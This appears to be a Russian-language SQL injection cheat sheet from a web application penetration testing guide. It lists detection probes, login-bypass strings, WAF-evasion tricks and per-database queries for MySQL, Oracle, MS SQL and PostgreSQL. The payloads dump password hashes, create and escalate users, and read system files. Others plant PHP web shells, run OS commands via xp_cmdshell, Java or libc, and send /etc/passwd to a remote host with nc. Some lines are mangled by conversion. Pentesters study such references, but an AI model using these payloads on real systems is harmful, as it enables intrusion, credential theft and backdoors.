



WAPT

Web Application Penetration Testing



6.2.3. SQL-injection (Cheat Sheet)

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Обнаружение инъекции

```
'
%27 "
%22 #
%23
;
%3B
)
Wildcard (*)
%%2727
%25%27
`+HERP '||'DERP
'+herp ' 'DERP
'%20'HERP
'%2B'HERP
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Определение типа базы данных

<code>conv('a',16,2)=conv('a',16,2)</code>	MYSQL
<code>connection_id()=connection_id()</code>	MYSQL
<code>crc32('MySQL')=crc32('MySQL')</code>	MYSQL
<code>BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)</code>	MYSQL
<code>@@CONNECTIONS>0</code>	MSSQL
<code>@@CONNECTIONS=@@CONNECTIONS</code>	MSSQL
<code>@@CPU_BUSY=@@CPU_BUSY</code>	MSSQL
<code>USER_ID(1)=USER_ID(1)</code>	MSSQL
<code>ROWNUM=ROWNUM</code>	ORACLE
<code>RAWTOHEX('AB')=RAWTOHEX('AB')</code>	ORACLE
<code>LNNVL(0=123)</code>	ORACLE
<code>5::int=5</code>	POSTGRESQL
<code>5::integer=5</code>	POSTGRESQL
<code>pg_client_encoding()=pg_client_encoding()</code>	POSTGRESQL
<code>get_current_ts_config()=get_current_ts_config()</code>	POSTGRESQL
<code>quote_literal(42.5)=quote_literal(42.5)</code>	POSTGRESQL
<code>current_database()=current_database()</code>	POSTGRESQL
<code>1337=1337</code>	MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL
<code>'i'='i'</code>	MSACCESS,SQLITE

Обход авторизации

```
'_ '
' '
'&'
'^'
'*'

' or 1=1 limit 1 -- --+ '='or'
' or '-'
' or "'
' or '&'
' or '^'
' or '*'

'-||0'
"-||0"
"- " " "
"&"
"^"
"*"

" or "'-"
" or "' "
" or "'&"
" or "'^"
" or "'*" or true-- " or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x ") or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1—
or 1=1#
or 1=1/*
admin
' -- admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
```

```

admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/* admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'# admin' or '1'='1'/* admin' or 1=1 or ''=' admin' or 1=1
admin' or 1=1--
admin' or 1=1# admin' or 1=1/* admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055 admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin" or 1=1 or ""="

```

WAF bypass

```

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
?id=1/*comment*/and/**/1=1/**/--
?id=(1)and(1)=(1)--
LIMIT 0,1    -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN
(SELECT 3)c JOIN (SELECT 4)d
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1# AND -> &&
OR    -> ||
=      -> LIKE,REGEXP, not < and not >
> X    -> not between 0 and X
WHERE -> HAVING

```

Определение количества колонок

order by 1
 order by 2
 order by 3
 ...
 order by XXX

MySQL

Коментарии	# /* -- - ;%00
Получение версии	SELECT VERSION(); SELECT @@VERSION; SELECT @@GLOBAL.VERSION;
Получение информации о пользователе	SELECT user() SELECT current_user() SELECT system_user() SELECT session_user() SELECT user,password FROM mysql.user;
Получение хэшей паролей	SELECT host, user, password FROM mysql.user;
Получение списка привилегий	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;
Получение текущей базы данных	SELECT database() SELECT db_name(); SELECT database(); SELECT schema_name FROM information_schema.schemata;

Вывод списка баз данных	<pre>SELECT schema_name FROM information_schema.schemata;</pre> <pre>SELECT distinct(db) FROM mysql.db</pre>
Вывод списка колонок	<pre>SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</pre> <pre>SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename';</pre>
Вывод таблиц	<pre>SELECT table_name FROM information_schema.tables;</pre> <pre>SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</pre>
Поиск имени таблицы по колонкам, содержащимся в ней	<pre>SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';</pre>
Вывод определенной строки из запроса, содержащего больше 1 записи	<pre>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;</pre> <pre>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;</pre>
Вывод определенного символа	<pre>SELECT substr('abcd', 3, 1);</pre>
Перевод кода символа в ASCII символ	<pre>SELECT char(65);</pre>
Перевод ASCII символа в код	<pre>SELECT ascii('A');</pre>
Приведения значений к определенному типу	<pre>SELECT cast('1' AS unsigned integer); SELECT cast('123' AS char);</pre>
Склеивание строк	<pre>SELECT CONCAT('A','B','C');</pre>
Конструкция IF	<pre>SELECT if(1=1,'foo','bar');</pre>
Конструкция CASE	<pre>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;</pre>
Обход waf	<pre>SELECT 0x414243;</pre> <pre>CONCAT(CHAR(97), CHAR(98), CHAR(99))</pre>
Способы задержки времени	<pre>SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5);</pre>
Получение доступа к локальному файлу	<pre>...' UNION ALL SELECT LOAD_FILE('/etc/passwd')</pre> <pre>SELECT * FROM mytable INTO outfile '/tmp/somefile';</pre>
Получение имени хоста	<pre>SELECT @@hostname;</pre>

Добавление нового пользователя	CREATE USER test1 IDENTIFIED BY 'pass1';
Удаление пользователя	DROP USER test1;
Получение привелегий админа пользователем	GRANT ALL PRIVILEGES ON *.* TO test1@'%';
Получение директории в которой находится БД	SELECT @@datadir;
Базы по умолчанию	information_schema, mysql
Union based	<p>UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata</p> <p>UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+ wHeRe+table_schema=...</p> <p>UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+ wHeRe+table_name=...</p> <p>UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+..</p>
Error based	<p>(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</p> <p>AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-</p> <p>AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--</p> <p>AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126))</p>


```

FROM
information_schema.TABLES WHERE
table_schema=data_column LIMIT
data_offset,1)),null)--

AND
updatexml(rand(),concat(0x3a,(SELECT
concat(CHAR(126),column_name,CHAR(126))
FROM information_schema.columns WHERE
TABLE_NAME=data_table LIMIT
data_offset,1)),null)--

AND
updatexml(rand(),concat(0x3a,(SELECT
concat(CHAR(126),data_info,CHAR(126)) FROM
data_table.data_column LIMIT
data_offset,1)),null)--

AND
extractvalue(rand(),concat(CHAR(126),version(),
CHAR(126)))--

AND
extractvalue(rand(),concat(0x3a,( SELECT
concat(CHAR(126),schema_name,CHAR(126))
FROM information_schema.schemata LIMIT
data_offset,1)))--

AND
extractvalue(rand(),concat(0x3a,( SELECT
concat(CHAR(126),TABLE_NAME,CHAR(126))
FROM
information_schema.TABLES WHERE
table_schema=data_column LIMIT
data_offset,1)))--

AND
extractvalue(rand(),concat(0x3a,( SELECT
concat(CHAR(126),column_name,CHAR(126))
FROM information_schema.columns WHERE
TABLE_NAME=data_table LIMIT data_offset,1)))--

```

	<p>AND</p> <p>extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(1 26)) FROM data_table.data_column LIMIT data_offset,1)))--</p>
Blind based	<p>' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2</p> <p>Response: HTTP/1.1 500 Internal Server Error</p> <p>' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2</p> <p>Response: HTTP/1.1 200 OK AND MAKE_SET(YOLO<(SELECT(length(version()))),1)</p> <p>AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)</p> <p>AND MAKE_SET(YOLO<(SELECT(length(concat(login, password))))),1)</p> <p>AND MAKE_SET(YOLO<ascii(substring(concat(login, password),POS,1)),1)</p>
Time based	<p>+BENCHMARK(40000000,SHA1(1337))+ '%2Bbenchmark(3200,SHA1(1))%2B' ' OR IF(MID(@@version,1,1)='5',sleep(1 ,1)='2</p> <p>AND [RANDNUM]=BENCHMARK([SLEEPTIME]00 0000,MD5('[RANDSTR]')) //SHA1 RLIKE SLEEP([SLEEPTIME])</p> <p>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SL EEPTIME]))</p>
DIOS	<p>(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>= @) and (@)in (@:=concat(@,0x0D,0x0A,' [',table_schema,'] > ,table_name,' > ',column_name,0x7C))))a)#</p> <p>(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [,column_data1,'] > ',column_data2,' > ,0x7C))))a)#</p>

Drop shell	<pre>SELECT "<?php system(\$_GET['cmd']); ?>" into outfile "C:\xampp\htdocs\backdoor.php" SELECT " INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>' -1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP- 12.1/www/shell.php' [...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696 e666f28293b203f3e into outfile 'C:\wamp\www\pwnd.php'-- - [...] union all select 1,2,3,4,"<?php echo shell_exec(\$_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'</pre>
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Oracle

Коментарии	--
Получение версии	<pre>SELECT banner FROM v\$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v\$version WHERE banner LIKE 'TNS%'; SELECT version FROM v\$instance;</pre>
Получение информации о пользователе	<pre>SELECT user FROM dual SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user\$;</pre>
Получение хэшей паролей	<pre>SELECT name, password, astatus FROM sys.user\$ SELECT name,spare4 FROM sys.user\$</pre>
Получение списка привилегий	<pre>SELECT * FROM session_privs; SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP';</pre>

	SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
Получение списка аккаунтов админа	SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
Получение текущей базы данных	SELECT global_name FROM global_name; SELECT name FROM v\$database; SELECT instance_name FROM v\$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
Вывод списка баз данных	SELECT DISTINCT owner FROM all_tables;
Вывод списка колонок	SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
Вывод таблиц	SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
Поиск имени таблицы по колонкам содержащимся в ней	SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
Вывод определенной строки из запроса содержащего больше 1 записи	SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;
Вывод определенного символа	SELECT substr('abcd', 3, 1) FROM dual;
Перевод кода символа в ASCII символ	SELECT chr(65) FROM dual;
Перевод ASCII символа в код	SELECT ascii('A') FROM dual;
Приведения значений к определенному типу	SELECT CAST(1 AS char) FROM dual; SELECT CAST('1' AS int) FROM dual;
Склеивание строк	SELECT 'A' 'B' FROM dual;
Конструкция IF	BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
Конструкция CASE	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual;
Обход waf	SELECT chr(65) chr(66) FROM dual;

Способы задержки времени	BEGIN DBMS_LOCK.SLEEP(5); END; SELECT UTL_INADDR.get_host_name('10.0.0. 1') FROM dual; SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Запросы DNS	SELECT UTL_INADDR.get_host_address('google.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Получение доступа к локальному файлу	SELECT value FROM v\$parameter2 WHERE name = 'utl_file_dir';
Получения имени хоста	SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v\$instance; SELECT UTL_INADDR.get_host_address FROM dual; SELECT UTL_INADDR.get_host_name('10.0.0. 1') FROM dual;
Получение директории в которой ДБ	SELECT name FROM V\$DATAFILE;
Базы по умолчанию	SYSTEM SYSAUX
Error based	SELECT utl_inaddr.get_host_name((select banner from v\$version where rownum=1)) FROM dual SELECT CTXSYS.DRITHSX.SN(user,(select banner from v\$version where rownum=1)) FROM dual SELECT ordsys.ord_dicom.getmappingxpath((select banner from v\$version where rownum=1),user,user) FROM dual SELECT to_char(dbms_xmlgen.getxml('select "" (select user from sys.dual) "" FROM sys.dual')) FROM dual SELECT rtrim(extract(xmlagg(xmlelement(" s", username ' '),'/s').getstringval(),',')) FROM all_users

Blind based	<pre> SELECT COUNT(*) FROM v\$version WHERE banner LIKE 'Oracle%12.2%'; SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE'; SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%'; </pre>
Time based	<pre> AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSA GE('[RANDSTR]',[SLEEPTIME]) </pre>
Выполнение произвольного кода	<pre> BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRunt ime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}'; END; </pre>

```
BEGIN
EXECUTE IMMEDIATE 'create or replace function
PwnUtilFunc(p_cmd in varchar2) return varchar2
as language java name
"PwnUtil.runCmd(java.lang.String) return
String";'; END;

SELECT PwnUtilFunc('ping -c 4 localhost') FROM
dual;

SELECT TO_CHAR(dbms_xmlquery.getxml('dec
lare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate
utl_raw.cast_to_varchar2(hextoraw
('637265617465206f72207265706c61636520616
e6420636f6d70696c65206a61766120736f757263
65206e616d6564202270776e7574696c22206173
20696d706f7274206a6176612e696f2e2a3b70756
26c696320636c6173732070776e7574696c7b7075
626c69632073746174696320537472696e672072
756e28537472696e672061726773297b7472797b
4275666665726564526561646572206d72656164
3d6e657720427566666572656452656164657228
6e657720496e70757453747265616d5265616465
722852756e74696d652e67657452756e74696d65
28292e657865632861726773292e676574496e70
757453747265616d282929293b20537472696e67
207374656d702c207374723d22223b207768696c
6528287374656d703d6d726561642e726561644c
696e6528292920213d6e756c6c29207374722b3d
7374656d702b225c6e223b206d726561642e636c
6f736528293b2072657475726e207374723b7d63
6174636828457863657074696f6e2065297b7265
7475726e20652e746f537472696
e6728293b7d7d7d"));
```

	<p>EXECUTE IMMEDIATE</p> <p>utl_raw.cast_to_varchar2(hextoraw ('637265617465206f72207265706c61636520667 56e6374696f6e2050776e5574696c46756e632870 5f636d6420696e20766172636861723229207265 7475726e207661726368617232206173206c616e 6775616765206a617661206e616d65202770776e 7574696c2e72756e286a6176612e6c616e672e537 472696e67292072657475726e20537472696e672 73b')); end;')) results FROM dual</p> <p>SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;</p>
DIOS	<p>) and 1=0 union select null,">" (select LISTAGG(table_name,'') within group (ORDER BY table_name) from all_tables) '<!--' ,NULL,NULL from dual --&lang=it</p> <p>) and 1=0 union select null,">" (select wm_concat('' table_name ':' column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120) '<!--',NULL,NULL from dual -- &lang=it</p> <p>and 0=1 UNION+SELECT NULL,(select wm_concat('' table_name ':' column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120) '<!-- ,NULL,NULL,NULL,NULL,NULL,NULL,N ULL,NULL,NULL,NULL,NULL from dual--</p>

MS SQL

Коментарии	– /* */
Получение версии	SELECT @@version
Получение информации о пользователе	SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID SELECT name FROM master..syslogins
Получение хэшей паролей	SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
Получение списка привилегий	SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); SELECT permission_name FROM master..fn_my_permissions('sa', 'USER'); SELECT is_srvrolemember('sysadmin'); SELECT is_srvrolemember('dbcreator'); SELECT is_srvrolemember('bulkadmin');

```
SELECT is_srvrolemember('diskadmin');

SELECT is_srvrolemember('processadmin');

SELECT is_srvrolemember('serveradmin');

SELECT is_srvrolemember('setupadmin');

SELECT is_srvrolemember('securityadmin');

SELECT name FROM master..syslogins WHERE
denylogin = 0;

SELECT name FROM master..syslogins WHERE has
access = 1;

SELECT name FROM master..syslogins WHERE
isntname = 0;

SELECT name FROM master..syslogins WHERE
isntgroup = 0;

SELECT name FROM master..syslogins WHERE
sysadmin = 1;

SELECT name FROM master..syslogins WHERE
securityadmin = 1;

SELECT name FROM master..syslogins WHERE
serveradmin = 1;

SELECT name FROM master..syslogins WHERE
setupadmin = 1;

SELECT name FROM master..syslogins WHERE
processadmin = 1;

SELECT name FROM master..syslogins WHERE
diskadmin = 1;

SELECT name FROM master..syslogins WHERE
dbcreator = 1;

SELECT name FROM master..syslogins WHERE
```

	bulkadmin = 1;
Получение списка аккаунтов админа	SELECT is_srvrolemember('sysadmin'); SELECT is_srvrolemember('sysadmin', 'sa'); SELECT name FROM master..syslogins WHERE sysadmin = '1'
Получение текущей базы данных	SELECT DB_NAME()
Вывод списка баз данных	SELECT name FROM master..sysdatabases; SELECT DB_NAME(N);
Вывод списка колонок	SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtyp e) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sys objects.id AND master..sysobjects.name='sometable';
Вывод таблиц	SELECT name FROM master..sysobjects WHERE xtype = 'U'; SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtyp e) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sys objects.id AND master..sysobjects.name='sometabl e';
Поиск имени таблицы по колонкам содержащимся в ней	SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%'
Вывод определенной строки из запроса содержащего больше 1 записи	SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC
Вывод определенного символа	SELECT substring('abcd', 3, 1)
Перевод кода символа в ASCII символ	SELECT char(0x41)
Перевод ASCII символа в код	SELECT ascii('A')

Приведение значений к определенному типу	SELECT CAST('1' as int); SELECT CAST(1 as char)
Склеивание строк	SELECT 'A' + 'B'
Конструкция IF	IF (1=1) SELECT 1 ELSE SELECT 2
Конструкция CASE	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END
Обход waf	SELECT char(65)+char(66)
Способы задержки времени	WAITFOR DELAY '0:0:5'
Выполнение произвольной команды	EXEC xp_cmdshell 'net user'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
Получение доступа к локальному файлу	CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:boot.ini'; DROP TABLE mydata;
Получение имени хоста	SELECT HOST_NAME()
Получение директории в которой находится БД	EXEC sp_helpdb master; EXEC sp_helpdb pubs;
Добавление нового пользователя	EXEC sp_addlogin 'user', 'pass';
Удаление пользователя	EXEC sp_droplogin 'user';
Повышение привилегий до администратора	EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
Базы по умолчанию	northwind model msdb pubs tempdb
Error based	convert(int,@@version) cast((SELECT @@version as int) ' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + '
Blind based	SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)

	SELECT message FROM data WHERE row = 1 and message like 't%'
Time based	ProductID=1;waitfor delay '0:0:10'-- ProductID=1);waitfor delay '0:0:10'-- ProductID=1';waitfor delay '0:0:10'-- ProductID=1');waitfor delay '0:0:10'-- ProductID=1));waitfor delay '0:0:10'--
DIOS	<pre> ';BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data=' injected by rummykhan :: '%2b@@version%2b'
%2bdb_name () SET @tblName = " SET @colNames = " WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = " SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames %2b' : '%2bcolumn_name FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data=@data%2b'

Table : '%2b@tblName%2b'
Columns : '%2b@colNames%2b'
' SET @counter = @counter %2b 1 END SELECT @data AS output INTO Challenge END-- - ;BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data = 'injected by rummykhan :: ' @@VERSION ' Database :: ' DB_NAME() SET @tblName = " SET @colNames = " WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = " SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames column_name ' : </pre>

	<pre>' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data = @data 'Table : ' @tblName ' Columns : ' @colNames SET @counter = @counter 1 END SELECT @data AS output INTO Challenge END-- -</pre>
--	--

PostgreSQL

Коментарии	<pre>SELECT 1; --comment SELECT /*comment*/1;</pre>
Получение версии	<pre>SELECT version();</pre>
Получение информации о пользователе	<pre>SELECT user; SELECT current_user; SELECT session_user; SELECT username FROM pg_user; SELECT getpgusername(); SELECT username FROM pg_user</pre>
Получение хэшей паролей	<pre>SELECT username, passwd FROM pg_shadow</pre>
Получение списка привелегий	<pre>SELECT username, usecreatedb, usesuper, usecatupd FROM pg_user</pre>
Получение текущей базы данных	<pre>SELECT current_database();</pre>
Вывод списка баз данных	<pre>SELECT datname FROM pg_database</pre>
Вывод списка колонок	<pre>SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')</pre>
Вывод таблиц	<pre>SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',) AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)</pre>

Поиск имени таблицы по колонкам содержащимся в ней	<pre>SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';</pre>
Вывод определенной строки из запроса содержащего больше 1 записи	<pre>SELECT username FROM pg_user ORDER BY username LIMIT 1 OFFSET 0; SELECT username FROM pg_user ORDER BY username LIMIT 1 OFFSET 1;</pre>
Вывод определенного символа	<pre>SELECT substr('abcd', 3, 1);</pre>
Перевод кода символа в ASCII символ	<pre>SELECT chr(65);</pre>
Перевод ASCII символа в код	<pre>SELECT ascii('A');</pre>
Приведения значений к определенному типу	<pre>SELECT CAST(1 as varchar); SELECT CAST('1' as int);</pre>
Склеивание строк	<pre>SELECT 'A' 'B';</pre>
Конструкция CASE	<pre>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;</pre>
Обход waf	<pre>SELECT CHR(65) CHR(66);</pre>
Способы задержки времени	<pre>SELECT pg_sleep(10); CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10);</pre>
Выполнение произвольного кода	<pre>CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('cat /etc/passwd nc 10.0.0.1 8080');</pre>
Получение доступа к локальному файлу	<pre>CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd'; ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;</pre>

	<p>DROP TABLE mytest mytest;</p> <p>CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES ('<?pasthru(\$_GET[cmd]); ?>'); COPY mytable (mycol) TO '/tmp/test.php';</p> <p>select pg_read_file('PG_VERSION', 0, 200);</p> <p>CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0;</p>
Получения имени хоста	<p>SELECT inet_server_addr();</p> <p>SELECT inet_server_port();</p>
Добавление нового пользователя	<p>CREATE USER test1 PASSWORD 'pass1';</p> <p>CREATE USER test1 PASSWORD 'pass1' CREATEUSER;</p>
Удаление пользователя	<p>DROP USER test1;</p>
Получение привилегий админа пользователю	<p>ALTER USER test1 CREATEUSER CREATEDB;</p>
Получение директории в которой ДБ	<p>SELECT current_setting('data_directory');</p> <p>SELECT current_setting('hba_file');</p>
Базы по умолчанию	<p>Template0</p> <p>template1</p>
Error based	<p>,cAsT(chr(126) vErSiOn()) chr(126)+aS+nUmeRiC)</p> <p>,cAsT(chr(126) (sEleCt+table_name+fRoM+information_schema.tables+llmIt+1+offset+data_offset)) chr(126)+aS+nUmeRiC--</p> <p>,cAsT(chr(126) (sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+llmIt+1+offset+data_offset)) chr(126)+aS+nUmeRiC-</p>

